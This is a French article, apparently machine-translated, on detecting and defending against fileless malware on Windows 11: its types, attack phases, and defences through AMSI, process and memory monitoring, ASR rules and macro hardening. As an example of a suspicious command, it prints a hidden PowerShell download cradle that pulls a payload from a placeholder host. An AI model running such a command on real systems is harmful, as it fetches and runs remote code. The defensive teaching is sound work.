El logiciel malveillant sans fichier C'est devenu un de ces problèmes qui ne cessent de s'amplifier dans tout environnement Windows moderne, y compris Windows 11. Ce type d'attaque évite le disque dur et s'appuie sur la mémoire, les scripts et les fichiers binaires système légitimes, ce qui rend la détection à temps très difficile pour les programmes antivirus basés sur la signature.
Pour le localiser avec une certaine fiabilité « Lancer une analyse antivirus » ne suffit pasIl est nécessaire de combiner une télémétrie de processus détaillée, une analyse comportementale, une inspection de la mémoire et une utilisation efficace des contrôles natifs de Windows (PowerShell, WMI, registre, AMSI, règles ASR, etc.). De plus, il est important de comprendre en détail ce qu'est un logiciel malveillant sans fichier, quelles sont ses variantes, comment il s'introduit dans les systèmes, comment il y persiste et quelles traces il laisse, même si tout se déroule dans la RAM.
Qu’est-ce qu’un logiciel malveillant sans fichier et pourquoi est-il si problématique sous Windows 11 ?
Quand on parle de logiciel malveillant sans fichier on se réfère à code malveillant Il n'a pas besoin de laisser de nouveaux exécutables visibles dans le système de fichiers pour fonctionner. Il s'injecte généralement dans les processus existants et s'exécute directement en mémoire, en utilisant des outils signés par Microsoft tels que PowerShell, WMI, rundll32, mshta ou VBScript/JScriptCela réduit son empreinte et lui permet d'échapper à la détection par les moteurs qui n'analysent que les fichiers suspects sur le disque.
Même le Documents Office, PDF ou liens d'hameçonnage Les fichiers qui exécutent des commandes et du code malveillant en mémoire relèvent de ce phénomène, car le fichier lui-même fournit peu d'informations utiles à l'analyse. Un phénomène similaire se produit avec les macros et le mécanisme DDE d'Office : du code malveillant s'exécute au sein de processus légitimes comme Word ou Excel, sans qu'aucun fichier exécutable inhabituel n'apparaisse sur le disque.
Les attaquants se combinent ingénierie sociale et exploitationUn courriel contenant une pièce jointe, un lien vers un site web compromis ou une macro apparemment anodine peut déclencher une chaîne d'actions : un script télécharge et exécute un code malveillant en mémoire vive, effaçant toute trace dès que possible. L'objectif final peut aller du vol d'identifiants et de données sensibles au déploiement de rançongiciels, en passant par la surveillance prolongée (APT) ou la migration latérale indétectable au sein du réseau.
Types de logiciels malveillants sans fichier selon leur empreinte sur le système
Pour éviter toute confusion de concepts, il est utile classer les menaces selon leur degré d'interaction avec le système de fichiersCela permet de clarifier ce qui persiste, où le code est stocké et quelles preuves numériques il laisse derrière lui.
Type I : aucune activité de fichier
Ici, nous parlons de « véritable » absence de fichiers : le code n’écrit rien sur le disque. Un exemple classique est l’utilisation de vulnérabilités du réseau Par exemple, les attaques SMB (comme l'attaque EternalBlue) permettent de charger une porte dérobée dans la mémoire du noyau, à l'instar de DoublePulsar. L'attaque se déroule entièrement en RAM et aucun nouveau fichier n'apparaît dans le système de fichiers.
Menaces qui appartiennent à cette même catégorie. infecter les firmwares Depuis le BIOS/UEFI, les cartes réseau, les disques ou même les sous-systèmes du processeur, ces attaques persistent malgré les redémarrages et les réinstallations du système d'exploitation. Or, très peu de solutions de sécurité inspectent réellement ce niveau. Ces attaques sont moins fréquentes et beaucoup plus sophistiquées, mais leur combinaison de furtivité et persistance Cela les rend particulièrement dangereux.
Type II : Activité d'archivage indirecte
Dans ce groupe, le logiciel malveillant ne laisse pas son propre exécutable, mais utilise des conteneurs gérés par le système qui sont finalement stockés sur le disque. Par exemple, les portes dérobées qui stockent Commandes ou scripts PowerShell Ces opérations se trouvent dans les référentiels WMI ou le Registre Windows et sont déclenchées par des filtres d'événements ou des clés Run/RunOnce. Le référentiel WMI et le Registre résident sur le disque en tant que bases de données légitimes, difficiles à nettoyer sans modifier le système.
D'un point de vue pratique, ils sont également considérés comme sans fichier car le conteneur (WMI, registre, secteur de démarrage, etc.) Ce n'est pas un exécutable classique. Et son nettoyage est délicat. L'effet final est une persistance subtile avec très peu de traces « traditionnelles ».
Type III : hybrides dépendants du fichier
Ici, la logique malveillante réside en mémoire, dans le registre ou dans WMI, mais elle a besoin de quelques éléments. déclencheur basé sur un fichierKovter en est un exemple typique : il enregistre une commande shell pour une extension rare, et lorsqu’un tel fichier est ouvert, un petit script est exécuté qui, via mshta.exe ou d’autres binaires, reconstruit la charge utile malveillante à partir du Registre.
Ces fichiers « appâts » ne contiennent pas de données exploitables pouvant être analysées en tant que telles ; le véritable contenu se trouve dans des conteneurs comme le Inscription ou WMIC’est pourquoi elles sont généralement regroupées sous l’appellation de menaces sans fichier, même si, à proprement parler, elles dépendent d’un ou plusieurs artefacts de disque.
Vecteurs d'entrée et emplacements où le fichier sans fichier est caché
Pour améliorer la détection, la cartographie est essentielle. Par où le logiciel malveillant pénètre-t-il et dans quels processus ou objets réside-t-il ?Cette vue permet de déployer des contrôles spécifiques et de prioriser les données télémétriques qui comptent vraiment.
Dans le domaine de exploits On distingue deux grandes familles d'attaques. D'une part, les attaques par fichiers, où des documents bureautiques, des PDF, des exécutables, des fichiers LNK ou d'anciens contenus Flash/Java exploitent le navigateur ou l'application qui les traite, en chargeant du code malveillant en mémoire (cas typique des campagnes de spam de masse utilisant Word avec des macros). D'autre part, les attaques réseau, telles que… WannaCry, dans lequel un paquet malveillant exploite une vulnérabilité dans un service (SMB, RDP, etc.) et parvient à une exécution directe dans l'espace utilisateur ou le noyau, sans jamais écrire un nouveau fichier sur le disque.
Il existe également un vecteur de matériel et micrologiciel Ce n'est pas négligeable. Les périphériques dotés d'un firmware reprogrammable (disques durs, cartes réseau, périphériques USB de type BadUSB), d'un BIOS/UEFI, voire de mini-hyperviseurs malveillants, peuvent introduire du code s'exécutant en arrière-plan du système d'exploitation. Ces techniques relèvent clairement de la catégorie I : persister en dehors du système d'exploitation et ils sont extrêmement difficiles à contrôler et à éradiquer.
En matière d'exécution et d'injection, les attaquants exploitent les deux Les fichiers « normaux », tels que les scripts en mémoireLes fichiers exécutables (EXE/DLL/LNK) ou les tâches planifiées peuvent injecter des processus légitimes. Même le secteur de démarrage (MBR/EFI) peut être manipulé par des familles de logiciels malveillants comme Petya pour prendre le contrôle dès le démarrage, en contournant le système de fichiers traditionnel.
Pour ne rien arranger, des acteurs avancés (des APT comme The Dukes/APT29) ont mené des campagnes avec portes dérobées sans fichier comme RegDuke ou POSHSPYqui résident presque entièrement en mémoire, WMI et dans le registre, combinant différentes techniques pour minimiser les traces.
Chaînes d'attaques sans fichier : phases et signaux à surveiller
Bien qu'elles ne laissent pas de fichiers exécutables visibles, les attaques sans fichier suivent tout de même une certaine logique. séquence de phases assez reconnaissableLes comprendre est essentiel pour savoir quels événements et quelles relations entre les processus méritent d'être surveillés.
- Phase de accès initial. Elle repose généralement sur l'hameçonnage via des pièces jointes ou des liens, des sites web compromis ou des identifiants volés. Il est très fréquent que le point de départ soit un document Office qui, lorsque le contenu actif est activé, lance une commande PowerShell avec des paramètres suspects (contournement de la stratégie d'exécution, fenêtre cachée, téléchargement depuis des domaines inconnus, etc.).
- Phase de persistanceC’est là qu’interviennent les filtres et abonnements WMI, les clés d’exécution automatique du Registre (Run, RunOnce, Winlogon), l’exploitation abusive du Planificateur de tâches et la modification du secteur de démarrage. Le logiciel malveillant tente de s’assurer qu’après un redémarrage ou une déconnexion, l’environnement malveillant puisse se réinsérer en mémoire sans qu’il soit nécessaire de réinstaller de nouveaux fichiers binaires.
- Phase de Mouvements latéraux et escaladeLes outils du système (PowerShell Remoting, PsExec, WMI, RDP) permettent d'accéder à un ordinateur depuis un autre à l'aide d'identifiants volés. Là encore, tout cela se fait de manière officieuse : en utilisant des utilitaires légitimes déjà installés.
- Phase finale : exfiltration et impactLes logiciels malveillants peuvent chiffrer des données (rançongiciels sans fichier), exfiltrer des informations vers des serveurs de commande et de contrôle (C2) via des navigateurs, Bitsadmin ou PowerShell, ou encore manipuler des systèmes critiques. Tout au long de leur cycle de vie, des indicateurs clés sont dissimulés dans les arguments de ligne de commande, les arborescences de processus anormales, les connexions sortantes suspectes et les appels d'API par injection.
Techniques d'attaque sans fichier courantes
Le concept de « sans fichiers » englobe de nombreuses techniques différentes, mais certaines reviennent fréquemment. Les comprendre facilite la planification. règles de détection comportementale et campagnes de chasse efficaces.
L'une des plus courantes est la logiciel malveillant résident en mémoireL'attaquant charge le code malveillant dans l'espace mémoire d'un processus de confiance (par exemple, explorer.exe, svchost.exe ou un navigateur) et le laisse en attente de commandes. Dans le cas des rootkits et des hooks au niveau du noyau, le niveau de dissimulation est encore plus élevé, et de nombreuses solutions qui n'analysent que l'espace utilisateur restent indétectables.
Une autre tactique consiste à persistance dans le registre WindowsEn stockant des données chiffrées ou des chaînes de caractères obfusquées, qui sont ensuite réactivées à l'aide de lanceurs légitimes tels que mshta, rundll32 ou wscript. Ce petit « chargeur » peut s'autodétruire immédiatement après son exécution, ne laissant de traces significatives que dans les clés de registre et la mémoire.
On voit aussi beaucoup de usurpation d'identitéUne fois les identifiants et mots de passe dérobés, l'attaquant peut ouvrir des shells distants, exécuter des scripts directement dans la console sans écrire de fichiers et installer des portes dérobées silencieuses dans WMI ou le registre. En entreprise, cela permet de mener des campagnes d'espionnage prolongées avec un taux de détection très faible si l'utilisation des outils d'administration n'est pas correctement surveillée.
Dans la partie la plus visible, le ransomware sans fichier Il est capable de chiffrer des données et de communiquer avec son infrastructure C2, fonctionnant presque entièrement en mémoire. Souvent, le premier signe d'un problème survient lorsque les fichiers sont déjà chiffrés, car les étapes précédentes n'ont déclenché aucune alerte de sécurité.
Pourquoi le fait de « tout bloquer » dans l'entreprise ne fonctionne pas
Il pourrait sembler tentant d'aller droit au but et Désactivez PowerShell, bloquez les macros ou interdisez WMI.Le problème, c'est que vous perturberiez une bonne partie des opérations quotidiennes : PowerShell est fondamental pour l'administration moderne, Office est l'outil de travail de base et WMI est au cœur de la gestion du système Windows.
Malgré cela, de nombreuses tentatives de protection contre les attaques sans fichier reposent précisément sur ce principe : des listes blanches très rigides, un blocage des macros non stratégique, ou tout simplement la désactivation de PowerShell.exe. Les attaquants, cependant, travaillent sur cette faille depuis un certain temps. apprendre à esquiver ces blocs: en utilisant votre propre copie de PowerShell, en la chargeant via une DLL avec rundll32, en intégrant des scripts dans des exécutables, en dissimulant du code dans des images (stéganographie) ou en appelant PowerShell via des outils intermédiaires.
Une autre erreur fréquente consiste à se fier exclusivement à des solutions qui Ils décident dans le nuageSi l'agent du point de terminaison doit interroger un serveur distant avant d'arrêter une activité suspecte, la prévention en temps réel en souffre : vous avez besoin de connectivité et, de plus, vous introduisez un délai qui, dans les attaques rapides (ransomware, wipers), peut être fatal.
En pratique, la défense contre les logiciels malveillants sans fichier nécessite une combinaison de Télémétrie locale riche, moteurs de détection comportementale directement sur le terminal De plus, l'analyse dans le cloud permet d'enrichir, de corréler et d'améliorer les données. Toutefois, la décision d'interrompre un processus ou d'annuler des modifications doit pouvoir être prise localement, même hors ligne.
Comment détecter les logiciels malveillants sans fichier sous Windows 11 : télémétrie et comportement
La stratégie gagnante implique surveiller les processus, la mémoire et le comportementIl ne s'agit pas seulement de fichiers. Les schémas malveillants sont beaucoup plus stables que les variantes d'un même logiciel malveillant ; une approche comportementale est donc plus efficace contre les menaces nouvelles ou dissimulées.
Dans l'écosystème Microsoft, Interface de scan anti-programme malveillant (AMSI) Il s'agit d'un composant essentiel. Il permet d'intercepter les scripts PowerShell, VBScript ou JScript (et autres langages pris en charge), même lorsqu'ils sont construits dynamiquement en mémoire. Avant leur exécution, le contenu du script est envoyé au moteur antimalware enregistré par AMSI, ce qui facilite la détection des chaînes de caractères suspectes, des tentatives d'obfuscation grossières et des comportements typiques des logiciels malveillants.
De plus, il est essentiel d'avoir un surveillance détaillée des processusPoints de début et de fin, PID, processus parent et enfant, chemin d'accès à l'exécutable, hachages, arborescence complète des processus et, surtout, lignes de commande complètes. De nombreux indicateurs d'une attaque sont dissimulés derrière des options et des arguments. Des commandes comme powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http://dominiotld/payload') Elles ne devraient pas passer inaperçues dans un environnement relativement mature.
La inspection de la mémoire Il s'agit d'un autre élément clé. Il est essentiel de pouvoir identifier les charges utiles PE réfléchies, les régions mémoire marquées comme exécutables dans des processus qui ne devraient normalement pas en contenir, ainsi que les schémas d'injection typiques (WriteProcessMemory, CreateRemoteThread, etc.). Les solutions modernes comme l'EDR/EDR managé (EMDR) et les produits tels que Microsoft Defender for Endpoint ou les plateformes comme SentinelOne surveillent ces opérations au niveau du noyau afin de distinguer les activités malveillantes des activités légitimes.
Tout ceci est complété par des commandes spécifiques telles que Protection MBR/EFI pour détecter et inverser les manipulations du secteur de démarrage, et avec la capacité de capturer les tampons de mémoire associés aux exécutions suspectes afin que les équipes d'intervention puissent générer de nouvelles signatures ou règles de comportement.
Étapes pratiques sous Windows 11
Outre une solution EDR performante, Windows 11 offre commandes natives très utiles pour compliquer la tâche des logiciels malveillants sans fichier et, accessoirement, améliorer la visibilité pour les tâches de recherche de menaces.
prévention
Dans PowerShell, il est conseillé d'activer Journalisation des blocs de script et journalisation des modulesAppliquez les modes restreints lorsque cela est possible et surveillez l'utilisation du contournement des stratégies d'exécution et des fenêtres cachées. Cela permet de conserver un historique des scripts exécutés, même s'ils ont été générés dynamiquement, et s'avère précieux pour détecter les exploits ultérieurs avec PowerShell.
Les Règles de réduction de la surface d'attaque (ASR) Ces outils permettent d'empêcher Office de créer des processus ciblant PowerShell, cmd, mshta ou d'autres composants à haut risque, et de prévenir l'utilisation abusive de WMI ou PsExec lorsqu'ils ne sont pas nécessaires. Correctement configurés, ils réduisent considérablement la surface d'attaque sans fichier dans les environnements de bureau, sans perturber l'activité.
Du côté d'Office, c'est important durcir les macrosL'objectif est de les désactiver par défaut, d'autoriser uniquement les macros signées en interne, d'utiliser des listes de confiance strictes et de revoir les flux de travail DDE existants. Il s'agit de garantir que l'ouverture d'un document reçu par courriel ne donne pas carte blanche pour exécuter n'importe quelle action sur le système.
En ce qui concerne la persistance, il est essentiel Vérifier WMI, le registre et les tâches planifiéesLes inscriptions aux événements doivent être surveillées. root\Subscription, des cours comme __EventFilter, CommandLineEventConsumer y __FilterToConsumerBindingainsi que les clés Run/RunOnce et les nouvelles tâches qui exécutent des scripts ou des fichiers binaires suspects. Des outils comme Sysmon sont très utiles pour générer des événements détaillés ; dans les environnements de grande envergure, il est judicieux de s’appuyer sur une solution EDR et un SIEM performant.
Comme toujours, le réparation et durcissement La sécurité du système d'exploitation, des navigateurs, d'Office et des services réseau constitue une ligne de défense fondamentale. De nombreuses intrusions sans fichier exploitent des vulnérabilités connues qui auraient pu être corrigées par des mises à jour régulières.
Chasse
Il est logique de concentrer les recherches sur schémas d'exécution anormauxLes processus bureautiques lançant PowerShell ou mshta, les lignes de commande avec downloadstring/downloadfile, les scripts présentant une obfuscation manifeste, les injections réflexes et les connexions sortantes vers des domaines suspects ou des TLD inhabituels sont autant d'éléments susceptibles d'alerter. Le recoupement de ces informations avec les données de réputation et de fréquence permet de réduire le bruit et de déceler les campagnes discrètes.
Enfin, il ne faut pas oublier le sensibilisation des utilisateurs et des équipes techniquesApprendre aux utilisateurs à identifier les courriels d'hameçonnage, les pièces jointes dangereuses, les liens suspects ou les comportements étranges de l'ordinateur (fenêtres qui se ferment toutes seules, processus de console éphémères) reste une barrière très rentable contre les campagnes massives sans fichier.
En réalité, les logiciels malveillants sans fichier ne sont plus une rareté, mais une technique courante dans les attaques ciblées et les campagnes massives exploitant des scripts. En se concentrant sur… comportement du processus, utilisation de la mémoire et origines de chaque exécutionEn tirant parti d'AMSI, de la télémétrie de haute qualité, des contrôles Windows 11 et des plateformes EDR avec analyse comportementale, et en complétant tout cela par des politiques réalistes pour les macros, PowerShell et WMI, toute organisation est bien mieux placée pour détecter et rompre ces chaînes avant qu'elles ne provoquent une catastrophe.